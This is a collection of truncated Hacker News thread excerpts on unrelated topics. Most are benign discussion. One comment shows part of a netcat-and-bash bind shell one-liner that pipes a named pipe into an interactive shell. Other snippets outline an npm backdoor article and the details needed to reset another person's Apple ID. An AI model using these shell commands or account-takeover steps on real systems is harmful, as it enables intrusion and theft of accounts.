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Command and Control film: A worker drops a socket at a Titan II missile complex - KVFinn
http://www.pbs.org/wgbh/americanexperience/films/command-and-control/
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programd
The film is based on the book "Command and Control: Nuclear Weapons, the
Damascus Accident, and the Illusion of Safety" by Eric Schlosser. This ... | {
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Ask HN: Time management strategies that made the greatest impact on productivity - HiroshiSan
What time management strategies have you implemented that have made the greatest impact on your productivity?<p>I find it very difficult to stick to time management strategies, I’m looking for simple hacks that go a long way.... | {
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Training intelligent robots with NavigationNet - a19
https://medium.com/@hyltona/training-intelligent-robots-with-navigationnet-c060b817fee8
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kgmillerdev
very cool
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Breaking the DGA Algorithm (Win $10k in the process) - muloka
http://hackimind.com/
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mopatches
Would be nice if they supplied working implementations of the algorithm and
sample input/output files.
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A full draft of the Ruby on Rails Tutorial, 2nd Edition, is now available - mhartl
http://news.railstutorial.org/a-full-draft-of-the-ruby-on-rails-tutorial-2n
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dongle
This is one of the best bits of tutorial writing on the internet. It almost
never sacrifices correctness for didactic purposes, and when it does... | {
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} |
Anheuser-Busch orders 40 Tesla trucks - kimsk112
http://money.cnn.com/2017/12/07/technology/anheuser-busch-tesla/index.html
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lafar6502
How are they going to reduce emissions 30% by 2025 if the plan is based on
non-existent truck with unknown specs and delivery time in like 5 years?
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PeachPlum
by doing other ... | {
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APL matrix product operator - panic
https://blog.plover.com/prog/apl-matrix-product.html
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dnautics
Fairly easy in julia:
julia> function arbitrary_matrix_reop(bin1::Function, bin2::Function)
(m::Matrix, v::Vector) -> [
foldr(bin2, [
bin1... | {
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Show HN: My weekend project - Codestagram - abemassry
http://codestagram.com/
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JoeCortopassi
I would love this idea, if it was limited to 10-20 lines. The forced
conciseness of it would make devs focus on brief concepts and structure,
rather than complex methods. It would end up being like Dribble rather than
... | {
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The Word from Wuhan - yarapavan
https://www.lrb.co.uk/the-paper/v42/n05/wang-xiuying/the-word-from-wuhan
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richk449
The most fun anecdote:
Zhang Wenhong, director of the Department of Infectious Diseases at Shanghai’s
Huashan Hospital, became a national hero for a press conference speech:
The first-aid team put... | {
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Building a backdoor with Node.js - lirantal
https://snyk.io/blog/what-is-a-backdoor/
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peter_d_sherman
Excerpts:
"So the only requirement for the victim is to install the library browser-
redirect and add it to Express app, like a regular middleware:"
[...]
"I [Article Author] just published the malicious pack... | {
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Does the Google Bot index css hidden divs? yes. - tomaltman
http://tomaltman.com/does-the-google-bot-index-css-hidden-divs/
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paulirish
He said he used `display:hidden` which isn't valid CSS (and doesn't hide
anything) Might be a typo but regardless I think this deserves more
investigation.
~~~
blauwbilgorgel... | {
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Show HN: I made a site that helps young EU people to start a dream live - henryso
https://mynewdream.eu
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Vinz_
I can't get past the country selection screen on FF55 here. It redirects me to
the same page over and over again.
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Vinnl
Same here.
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3 of 7 Google employees who are Apache Wave committers have left - bsmith21
The Apache Wave incubation proposal (passed 2010-12-01) lists 7 committers from Google.<p>http://wiki.apache.org/incubator/WaveProposal<p><pre><code> Alex North [3]
Christian Ohler
Dan Danilatos
Dan Peterson
David Hearnden [1]
Dav... | {
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Alabama Sheriff Legally Took $750,000 Meant To Feed Inmates - gscott
https://www.npr.org/sections/thetwo-way/2018/03/14/593204274/alabama-sheriff-legally-took-750-000-meant-to-feed-inmates-bought-beach-house
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aje403
"Sheets' investigation has also made headlines because of the arrest of a key
source. Sheets spok... | {
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More on splitting equity 50/50 or not - lvh
http://swombat.com/2011/5/10/founder-equity
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wolfrom
I think this explains very well why in my situation with my co-founder, I
don't feel like anything but 50/50 would work, but yet I still agree that such
a split is inherently risky.
While my co-founder and I have ... | {
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Hitler's Mein Kampf Seen As Self-Help Guide For India's Business Students - cruise02
http://www.huffingtonpost.com/2009/04/22/hitlers-mein-kampf-seen-a_n_190064.html
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cruise02
If they like _Mein Kampf_ , then I enthusiastically recommend Niccolò
Machiavelli's _The Prince_.
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Ambien maker responds to Roseanne: Racism is ‘not a known side effect’ - maxshmax
https://www.marketwatch.com/story/ambien-maker-responds-to-roseanne-racism-is-not-a-known-side-effect-2018-05-30
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Nomentatus
Random (re thinking) is a side effect of very large numbers of
pharmaceuticals.
Disinhibition is a side e... | {
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Building the Software 2.0 Stack by Andrej Karpathy [video] - fmihaila
https://www.figure-eight.com/building-the-software-2-0-stack-by-andrej-karpathy-from-tesla/
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Animats
Be afraid. Be very afraid.
If this guy was working on adtech, that would be fine. That's very error-
tolerant. But this guy is working on aut... | {
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A Society Dies - oftenwrong
https://eand.co/this-is-how-a-society-dies-35bdc3c0b854
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bernierocks
"The hate-filled vitriol of Trumpism, the barely-hidden hate of Brexit"
Before I got to the end of the article, I knew this was where it was going.
No mention of the left-wing violence on our college campuses, and ... | {
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Netflix Is Bluffing - mitultiwari
http://techcrunch.com/2012/11/24/netflix-is-bluffing-and-it-will-be-their-downfall/
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lazerwalker
This article is predicated on the argument that he who owns the content gets
the revenue.
Let's keep in mind that in the first part of 2013, Netflix is going to be
premiering both... | {
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} |
Zero Knowledge Authentication Protocol Secure Comparator - cossacklabs
https://cossacklabs.com/introducing_secure_comparator.html
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cossacklabs
... and a more formal whitepaper for cryptographic people:
[https://cossacklabs.com/static/secure-comparator-
paper-v1.pd...](https://cossacklabs.com/static/secure-compar... | {
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Larry Page's Grandfather Kept A Lead Pipe To Defend Against His Employers - j_baker
http://www.businessinsider.com/larry-pages-grandfather-kept-a-lead-pipe-as-a-weapon-in-case-he-had-to-bludgeon-his-employers-2012-1
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bediger
The HN headline is dramatically wrong: _My grandfather was an autoworker, and
I have a w... | {
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Bleak New Estimates in Drug Epidemic: A Record 72,000 Overdose Deaths in 2017 - Alex3917
https://www.nytimes.com/2018/08/15/upshot/opioids-overdose-deaths-rising-fentanyl.html
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naccato
The sad truth is, the U.S. is a country that emphasizes punishment over
rehabilitation, and we've brought this upon ourselves by... | {
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Ask HN: Why can I buy a server computer, but not in a rack? - andrewstuart
I can buy a server. I can rent a rack.<p>Why aren't the two integrated?<p>Why can't I buy a computer which is supplied to me in a rack?<p>I'm not talking about bare metal hosting.<p>I'm saying why can't the outright p... | {
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Ask HN: Best Books for Learning Web Design? - mitchelldm7
We've all talked about the best books for learning programming ... but for those of us who are graphically challenged, do any of you have recommendations for books on web design?
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LarryA
The ones I've found that are good starting points:
Stylin' with CSS... | {
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It took seven miles to pull over a Tesla with a seemingly asleep driver - okket
https://arstechnica.com/tech-policy/2018/11/cops-pull-over-tesla-cruising-on-a-freeway-with-apparently-asleep-driver/
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Animats
Well, the "hands on wheel, driver paying attention" detection system clearly
wasn't effective.
Fortunatel... | {
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The revolution of 2014’s summer vacation abroad. - Tastyeasy
https://www.kickstarter.com/projects/tastyeasy/tastyeasy-for-android-and-ios
With the international tourism market on their minds, two Brazilian siblings have put together a team of professionals from Brazil and the U.S. to create a mobile application to fa... | {
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A Quantum Computing Cartoon by Scott Aaronson et al - xcodevn
http://www.smbc-comics.com/comic/the-talk-4
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gus_massa
dupe:
[https://news.ycombinator.com/item?id=13178946](https://news.ycombinator.com/item?id=13178946)
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Tesla’s Model 3 will boast a 250-mile or greater range, cost $35,000 - negrit
http://www.digitaltrends.com/cars/tesla-model-3-performance-specs-news-rumors/
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csmeder
What is the source? At what event did Tesla release these photos and specs?
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Eigenquestions: The Art of Framing Problems - arnon
https://coda.io/@shishir/eigenquestions-the-art-of-framing-problems
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Gunax
You run a grocery store and you'd like to increase the frequency of customer visits, what do you do?
You are designing a game to teach kids math in a fun way, where d... | {
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Ask HN: Why shouldn't I leave Google? - afraid
- I'm 26
- 2 years experience as a SWE at Google (my 1st ever job)
- Enough cash to live the next ~2 years even with no salary
- Unfulfilled at Google
- Dreaming of starting my own company<p>Keeping all these in mind, why am I so afraid of leaving Google?<p>My mentor... | {
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Rescuing Ancient Seeds from a War-Torn City - benbreen
http://www.theatlantic.com/science/archive/2015/09/rescuing-ancient-seeds-from-a-war-torn-city/406978/?single_page=true
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veddox
I hadn't realized Aleppo is that old.
I'm glad to see an article about the city that doesn't focus on it being a
major battlegrou... | {
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Hack your Oxygen [video] - juliend2
http://www.ted.com/index.php/talks/kamal_meattle_on_how_to_grow_your_own_fresh_air.html
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juliend2
In short, you could live in a bottle with these 3 plants and still have enough
oxygen to live :
-Areca Palm (the living room) 4 per person
-Mother-in-law's tongue (the bedroom p... | {
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From College Indoctrination to Corporate Intolerance - mpweiher
https://www.jamesgmartin.center/2017/08/college-indoctrination-corporate-intolerance/
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Doyniish
Thanks for sharing. Makes me that much happier knowing I got through 5 years
of college without becoming a brainwashed liberal.
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Ask YC: What corporate stuff is needed in the beginning of a startup? - deltapoint
I have a start up idea and found a co-founder and we are working on the project.
I want to take care of all the incorporating stuff and all that jazz..
How do I do that?
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hbien
Here's a good place to start:
[http://www.gabrielwe... | {
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Boeing Dreamliner Fire Shuts Heathrow as Second 787 Aborts Trip - anaptdemise
http://www.bloomberg.com/news/2013-07-12/london-heathrow-suspends-flights-after-fire-involving-boeing-787.html
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mzs
Some better articles:
[http://www.airlinereporter.com/2013/07/ethiopian-
boeing-787-...](http://www.airlinereporter.... | {
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Ask HN:Where can I find open sourced rails apps? - subrat_rout
If somebody is a novice programmer (in ruby on rails) then should he develop the app from scratch or use any open source app for his idea?
Anybody know where I can find good open source rails app especially for developing a CMS?<p>Thanks
======
jaxonrice... | {
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Thanks Economist, You Really Know What Has Gone Wrong with the Internet - ZeljkoS
https://svedic.org/programming/thanks-economist-fix-the-internet
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nothrabannosir
Paid subscription content is the eternal September of HN conversations, and
I’m really sorry to even hint at it again, but on that page I essentially ... | {
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} |
Brexit – where now? The flow diagrams - lrsjng
https://jonworth.eu/brexit-where-now-the-flow-diagrams/
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DanielBMarkham
I'm not a Brit and the politics of this are not my concern. However the
information dissemination and internet aspect of the story is quite
fascinating.
I have no idea what's going on. I tried ... | {
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} |
AirBNB solution: remain on your apartment's fire escape in a hanging tent - boskonyc
https://www.etsy.com/listing/280677864/airbnb-housing-solution-remain-on-your
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blktiger
This is a joke right?
| {
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Wikileaks Releases Insurance File - Andrew_Quentin
https://twitter.com/#!/wikileaks/status/172396949700476928
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cskau
Does anyone know if this is done in preparation for something big coming up ?
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Andrew_Quentin
Well there is a Supreme Court decision to be given here in Britain in a week
or two which will ... | {
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Why Facebook is the New Yahoo - Impossible
http://www.datamation.com/networks/why-facebook-is-the-new-yahoo-1.html
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ary
Listen, I'm no fan of Facebook but this article is pure flame-bait.
Death by a thousand paper cuts may be a fun way to look at how Facebook could
eventually bite the dust, but I think it's s... | {
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} |
TRIZ – Theory of Inventive Problem Solving - d99kris
https://en.wikipedia.org/wiki/TRIZ
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hcarvalhoalves
Thank you for sharing this OP, never heard about it before.
Christopher Alexander (architect and influencer of GoF's original software
Design Patterns) very cleverly re-frames design problems in one of his bo... | {
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Mac users exposed by zero-day vulnerability - drewjaja
http://www.arnnet.com.au/article/576772/mac-users-exposed-by-zero-day-vulnerability/
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tantalor
This exploit seems pretty insignificant since it supposes the attacker already
has root; it gives the attacker persistent root. They already own your
machine.
... | {
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About Racism, Discrimination And Louis Vuitton - edragonu
http://www.bebelissimo.com/about-racism-discrimination-and-louis-vuitton/
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onreact-com
While this is a good article I don't really get the connection between the
"gypsie" part of it and the Louis Vuitton brand.
| {
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Google Launches BigQuery and (AI/ML) Prediction API - timr
http://googlecode.blogspot.com/2010/05/bigquery-and-prediction-api-get-more.html
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hooande
If I understand the Prediction API correctly it's a text classifier. I would
imagine it's a bayesian classifier, like the kind found in most spam filters.
I don't... | {
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Computer SciFi Novel, Blue Screen: How Peter Gustafson Defragmented the World [pdf] - kylebenzle
https://BlueScreenTheBook.com/Blue_Screen_Kyle_Benzle_2020.pdf
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kylebenzle
Peter Gustafson wants to save the world. In the year 2984, Peter is an average
kid with a secret; he’s a well-behaved tenth-grader by day but... | {
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} |
Dropbox Buys Cove To Bring Former Facebookers To The Team - jason_shah
http://techcrunch.com/2012/02/27/dropbox-buys-cove-to-bring-former-facebookers-ruchi-sanghvi-and-aditya-agarwal-to-the-team/
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jason_shah
Congratulations to the Cove team!
\--
I wonder if talented, experienced, and coveted engineers and desi... | {
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} |
New JavaScript test library - mfcalvanese
http://sazeracjs.com/
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brudgers
If it meets the guidelines, this might make a good 'Show HN'. Show HN
guidelines:
[https://news.ycombinator.com/showhn.html](https://news.ycombinator.com/showhn.html)
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Have you migrated your site to HTTPS ready for the October changes in Chrome? - stilliard
https://movingtohttps.com/
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stilliard
October Chrome changes: [https://security.googleblog.com/2017/04/next-steps-
toward-mo...](https://security.googleblog.com/2017/04/next-steps-toward-more-
connection.html)
| {
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Jonah Lehrer falls into familiar pattern, fails to face his reckoning - taylorbuley
http://www.poynter.org/latest-news/regret-the-error/204097/lehrer-falls-into-familiar-pattern-fails-to-face-his-reckoning/
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lutusp
A quote: "In all honesty, and with genuine compassion, I encourage him to find
a good therapist ... | {
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The Right Way to Cancel a Meeting - derekc
http://www.bothsidesofthetable.com/2010/05/16/the-right-way-to-cancel-a-meeting/
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RiderOfGiraffes
While the advice is good in and of itself, it boils down to this:
* Put yourself in the other person's position, and think about how they'll feel.
So often people are e... | {
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} |
Is it hard for women to find VC moneys? Is it their own fault? - jasonlynes
http://www.inc.com/janine-popick/2010/04/women-in-tech.html
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jasonlynes
two interesting bits:
"38.5 percent of women-owned firms relied on personal equity, and 41.1 percent
relied on outsider debt to start their businesses. In contras... | {
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Watch Paint Dry Online - boufd7083
https://www.watchpaintdry.online/#.WedYLKcWwic.hackernews
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yeasteregg
it's only a picture, I'd have loved a real live feed
| {
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Failed entrepreneur, broke, unemployed, now taking care of aging parents. Help. - mattman
TL;DR - My startup failed, I'm now broke and unemployed, I have no idea who I am anymore professionally, and had to move back to the middle of nowhere to take care of my aging parents. I don't want to get stuck living this life. ... | {
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Prisma Raises $12M Series A - pimeys
https://www.prisma.io/blog/prisma-raises-series-a-saks1zr7kip6
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jasonhero
I've been using prisma for a couple months now at my employer. The longer I
use it, the more frustrated I find myself with the tool.
Here's a list of a few things out of many that you can't do with thi... | {
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} |
Experiment, Measure, Repeat - ecaml
https://blog.buildo.io/experiment-measure-repeat-5e2c389e63ff
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oftenwrong
"avoid maintaining useless things"
If your company is small, heed this warning. If you're spending a lot of time
on maintenance of non-essential things, and struggling with supporting legacy
things whil... | {
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} |
You Can’t Say That on the Internet - vog
https://www.nytimes.com/2012/11/18/opinion/sunday/you-cant-say-that-on-the-internet.html?pagewanted=all&_r=0
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leephillips
Today I learned that people complain to Google that they don't autocomplete
things that the people feel should be autocompleted, like "bisexual". Th... | {
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} |
Ask HN: Should I make a lower cost replica of niche software? - 93po
I've recently been looking into making some software for small to medium sized businesses and someone I know mentioned how there's software used for a part of the real estate world where there's only a single big player and they'r... | {
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How to reset someone's AppleID PW – seems to explain celebrity photo leaks - kretor
https://web.archive.org/web/20140904115530/http://ibstol.wordpress.com/step-3-security-questions/
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kretor
Summary
You need:
* The target's email address
* Date of birth (easily obtained)
* Answers to two of three security q... | {
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} |
1,700-Year-Old Board Game Found in Norwegian Burial Mound - quidsentio
https://www.lifeinnorway.net/archaeologists-find-roman-iron-age-board-game-in-norway/
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JoeDaDude
Don't know what drove them to say it is an early form of Hnefatafl, other than
that both are games played on a board. Hnefatafl games (there are ... | {
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} |
Ask HN: iPhone 6 EOL: How risky to stay on unsupported iOS (12.x)? - mmd45
Apple has officially ended support for iPhone 6 and below (iOS 12.x and prior).<p>How risky from a security standpoint is it to continue to use an iPhone 6? Will Apple continue to release security patches if exploits are found or do I need to ... | {
"pile_set_name": "HackerNews"
} |
Show HN: Zyro – AI Powered Website Builder - giedriusz
https://zyro.com/
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achow
The AI part are:
\- Business name generator
\- Slogan generator
\- Logo maker
\- AI heat map generator (given a mockup of website, analyzes where users
potentially would look at)
\- Content generator [https://zyro.com/ai/content... | {
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Ask HN: Why Is the Resolution Inside Any VR So Poor? - mkovji
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jmiller099
[https://9to5google.com/2018/05/22/google-lg-vr-oled-
display/](https://9to5google.com/2018/05/22/google-lg-vr-oled-display/)
| {
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Wikipedia's founder builds an open-source search engine - michael_nielsen
http://machinist.salon.com/blog/2007/07/27/wiki_search/index.html
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pg
Wow, a Salon article you don't have to watch an ad to read. Finally.
| {
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Bitcoin, or The 4 Main Stages of a Bubble - StephenFalken
https://en.wikipedia.org/wiki/File:Stages_of_a_bubble.png
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MysticFear
[http://upload.wikimedia.org/wikipedia/commons/1/1f/Median_an...](http://upload.wikimedia.org/wikipedia/commons/1/1f/Median_and_Average_Sales_Prices_of_New_Homes_Sold_in_the_US_1963-2... | {
"pile_set_name": "HackerNews"
} |
Bindshell using only netcat & bash - rainbo
http://separallel.com/2012/04/26/bash-udp-reverse-shell-fun/
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pwg
You can almost cut your netcat+bash bindshell one-liner in half if you change
how you handle the if clause:
if [[ ! -p /tmp/mypipe ]]; then mkfifo /tmp/mypipe ; fi && cat
/tmp/mypipe|/bin/bash -i 2>&1... | {
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Swedish court upholds Assange arrest warrant - ramblenode
http://www.reuters.com/article/us-ecuador-sweden-assange-idUSKCN0YG11N
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willvarfar
Someone accused of rape should not be given refuge to wait it out.
Its easy for armchair conspiracists to imagine this whole thing an elaborate
ruse to extradite Assange t... | {
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} |
Ask HN: What college electives did you take that affected your life the most? - curiousgal
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olegkikin
Law. Don't remember the exact name of the class, but it was taught by a real
hardcore New York lawyer. He was tough on us, I didn't do so well, but I
learned a lot about the real legal system, not some theoretica... | {
"pile_set_name": "HackerNews"
} |
3D Animation of LHC operation. - jsmcgd
http://uk.youtube.com/watch?v=qQNpucos9wc&feature=rec-HM-r2
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TrevorJ
It's missing the minor explosion due to a faulty soldering joint, other than
that it looks pretty accurate.
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Using lpd to spool MP3s (2003) - wtbob
http://patrick.wagstrom.net/weblog/2003/05/23/lpdforfunandmp3playing/
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pridkett
I wrote this article 12 years ago and it took me until I saw my own name in
the comments to realize it was my own article. Now I want to take the advice
of the commenters and make it work for Yo... | {
"pile_set_name": "HackerNews"
} |
Survey finds Facebook banned by 70% of British Companies - pg
http://www.telegraph.co.uk/news/main.jhtml?xml=/news/2007/07/27/nface127.xml
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ivankirigin
Any numbers on the percentage of users who are professionals? Considering the
college roots, my guess is it isn't too high. I'd like to see trends on growth
in t... | {
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} |
L4 Microkernel Family - peter_d_sherman
https://en.wikipedia.org/wiki/L4_microkernel_family
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peter_d_sherman
>"L4, like its predecessor L3 microkernel, was created by German computer
scientist Jochen Liedtke as a response to the poor performance of earlier
microkernel-based operating systems. Liedtke felt that a... | {
"pile_set_name": "HackerNews"
} |
Ask HN: Did Nate Silver End Up Listening to Nassim Taleb's Critique? - Tomminn
I noticed listening to 538 today that Nate Silver produced a model that gives Biden a 71% chance of victory, which is anomalously low chance given current polling data. The explanation is given that the election is in the future, and theref... | {
"pile_set_name": "HackerNews"
} |
Show HN: Test and improve your typing speed in the terminal - csl
https://github.com/cslarsen/wpm
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thenormal
Nice idea!
| {
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} |
ZoomX – Android Tool to log all network calls in a suitable format - iabdelgawad
https://github.com/district0/ZoomX
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iabdelgawad
It's a debugging tool for Android like Flex of iOS
[https://github.com/Flipboard/FLEX](https://github.com/Flipboard/FLEX)
| {
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} |
Ask HN: Guiding Novice Programmers - mscarborough
Over the last year, I have been approached by intelligent colleagues with little-to-no programming experience. They want to understand code (at least to be able to read it within our application), and have tried to self-study but have not been able to feel confident ... | {
"pile_set_name": "HackerNews"
} |
An advanced nanotube computer may keep Moore’s Law alive - yboris
https://www.technologyreview.com/s/614247/the-worlds-most-advanced-nanotube-computer-may-keep-moores-law-alive/
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hinkley
We are currently going down a path of chip 'packages' where we put a bunch of
discrete cores and management chips into an encl... | {
"pile_set_name": "HackerNews"
} |
Google Begins Fixing Usenet Archive - nebula
http://www.wired.com/epicenter/2009/10/usenet_fix/
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tlrobinson
Google Group search was horribly broken for _months_ , across many or all
Google-hosted groups too, not just Usenet. It would only return results from
the previous few weeks.
It seems to have been fixed ... | {
"pile_set_name": "HackerNews"
} |
Django 3.0 alpha 1 released - edmorley
https://www.djangoproject.com/weblog/2019/sep/10/django-30-alpha-1-released/
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dragonsh
Django is a better monolithic framework. But in Python world users will be
equally productive with any WSGI or ASGI based framework.
With Django 3.0 alpha there is an issue with orm whic... | {
"pile_set_name": "HackerNews"
} |
Real Life MasterChief and SEALS Team 6 Troop Leader Dies - marknadal
http://www.latimes.com/news/obituaries/la-me-louis-langlais-20110821,0,2646798.story
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donnaware
When does the movie about his life come out ? I will be first in line for
tickets!
| {
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} |
10 services web developers should know - harijoe
https://medium.com/@julienvallini/10-services-to-ship-at-light-speed-%EF%B8%8F-154b576eb4f
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shrumm
I would add sentry.io error logging to this list. Very happy customer. We use
them heavily and it’s been really helpful identifying production issues that
miss testi... | {
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} |
Stopping expensive queries before they start - adamnemecek
http://adpgtech.blogspot.com/2015/02/stopping-expensive-queries-before-they.html
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WALoeIII
This is very useful for batch or cleanup jobs.
For example, imagine a system where items are soft-deleted immediately upon
user action, but not actually deleted... | {
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} |
Announcing The stable release of Strapi Community Edition - zapita
https://strapi.io/blog/strapi-stable-community-edition
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ev0xmusic
Well done guys
| {
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} |
Deliberate Practice Claim Refuted – Beyond Born vs. Made: A New Look at Expertise - yarapavan
http://onlinelibrary.wiley.com/doi/10.1111/nyas.13586/full
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yarapavan
Conclusions:
Twenty-five years ago, Ericsson and colleagues proposed their influential
deliberate practice view of expertise. Though an influential ... | {
"pile_set_name": "HackerNews"
} |
Stack Exchange is down - kenny_r
http://stackoverflow.com/error?aspxerrorpath=/
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TiZon
More info here: [http://meta.stackoverflow.com/questions/111194/runtime-
error...](http://meta.stackoverflow.com/questions/111194/runtime-error-on-all-
stack-exchange-sites)
| {
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} |
Jeff Bezos: I spend my billions on space because we’re destroying Earth - Biba89
https://www.cnbc.com/2019/07/17/why-jeff-bezos-spends-billions-on-space-technology.html
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erentz
This kind of thing is motivated reasoning. Elon is guilty of it too. They want
to play with space technology, then go searching for mora... | {
"pile_set_name": "HackerNews"
} |
Next Sunday (May 15th), a Chrome update will break HTTP/2 worldwide - Mojah
https://ma.ttias.be/chrome-drops-npn-support-for-http2-alpn-only/
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stephenr
The google blog post claims that ALPN is already used 99% of the time for
HTTP/2 in Chrome.
From what I can tell, anyone using distro packages for Debian is S.O... | {
"pile_set_name": "HackerNews"
} |
Ask HN: I want to learn to program (in Ruby). How can I get to "doing", easily? - nerf
I want to learn to program (in Ruby). But with near-unlimited information, resources, etc., I've found it pretty overwhelming/difficult to find a good place to start.<p>To get started, I'd rather do than read. I'd rather someone t... | {
"pile_set_name": "HackerNews"
} |
Show HN: Redditix – A Gallery Visualizer for Reddit - agopaul
https://redditix.com/
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gitgud
This is pretty nice. Would be cool if the comments showed up too, but good
work!
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agopaul
Thanks! For now I think I will keep it clean, but maybe in the future.. we'll
see how it will evolve ;)
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perilunar
You b... | {
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} |
If I haven't succeeded by mid 20s, can I still be successful? - tristanperry
http://www.quora.com/Success/If-I-havent-succeeded-in-my-mid-20s-could-I-be-successful-in-the-rest-of-my-life?
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Skalman
This was also posted just a few days ago:
<http://news.ycombinator.com/item?id=2322798>
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Tycho
_"At age 28 ... | {
"pile_set_name": "HackerNews"
} |
The Hacker Olympics - carlsednaoui
http://thehackerolympics.com/?hn
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carlsednaoui
I posted this link last night (<https://news.ycombinator.com/item?id=5684604>)
but thought it might be worthy to repost at a time when more users are active.
| {
"pile_set_name": "HackerNews"
} |
Ask HN: Periodic stress and scalability tests - petrohi
Do you do stress and scalability tests for your service? If so what tools do you use? Do you do it periodically and/or part of CI/CD?
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bradknowles
Yes.
The performance team uses NeoLoad scripts.
We have recently built a Jenkins server for them t... | {
"pile_set_name": "HackerNews"
} |
Virgin media - Infoqr
African ISP sent the wrong routes into LINX - which then attracted all Virgin Media's traffic
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moyta
Damn, this is why BGP needs to go.
| {
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} |
Did three men actually survive the escape from Alcatraz? - rickdale
http://www.telegraph.co.uk/news/worldnews/northamerica/usa/11927025/Did-three-men-actually-survive-the-escape-from-Alcatraz.html
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brm
I got nailed in a lower comment for suggesting that Betteridge's law applies
here (I know I know.. Betteridge's... | {
"pile_set_name": "HackerNews"
} |
Soccket: Kick a Ball, Light a Room - revorad
http://www.livetotry.com/2010/12/30/2-5-lin-matthews-silverman-thakkar-kick-a-ball-light-a-room-the-four-women-engineers-of-soccket/
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justin_vanw
It's patronizing shit like this, western world. 3rd world people can't be
bothered to turn a crank for 5 seconds to get ho... | {
"pile_set_name": "HackerNews"
} |
Ask HN: How do shares work? - joshmlewis
I am relatively young but I have been involved in startups for the last year or so. None at the low level and none I have shares for. But that's about to change as I am co-founding a startup and we just got into TechStars for the summer and I feel like now is the time to le... | {
"pile_set_name": "HackerNews"
} |
Providers Are Sexually Assaulting Patients – and It’s Legal - dmitrygr
https://www.healthline.com/health/nonconsensual-internal-exams-sexual-assault
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cco
I don't think its legal, try suing them and request a jury, I don't think the
hospital would win.
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rolph
i think one of these little buggers, would put ... | {
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} |
Physics in Javascript Using Box2D - bundy
http://somethingcoded.net/post/35794507334/physics-in-javascript-using-box2d
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arikrak
Looks cool, but I couldn't get the page to load. I was once worked on a demo
of a similar kind of game to help teach physics.
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a1k0n
I'm using box2d (there are at least three box2... | {
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} |
The FCC weighs breaking with Obama over the future of the Internet - waterlesscloud
http://www.washingtonpost.com/blogs/the-switch/wp/2014/11/11/the-fcc-weighs-breaking-with-obama-over-the-future-of-the-internet/
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hirsin
Pro: despite the "woe is us" rhetoric too often found in online communities,
getting a bunch... | {
"pile_set_name": "HackerNews"
} |
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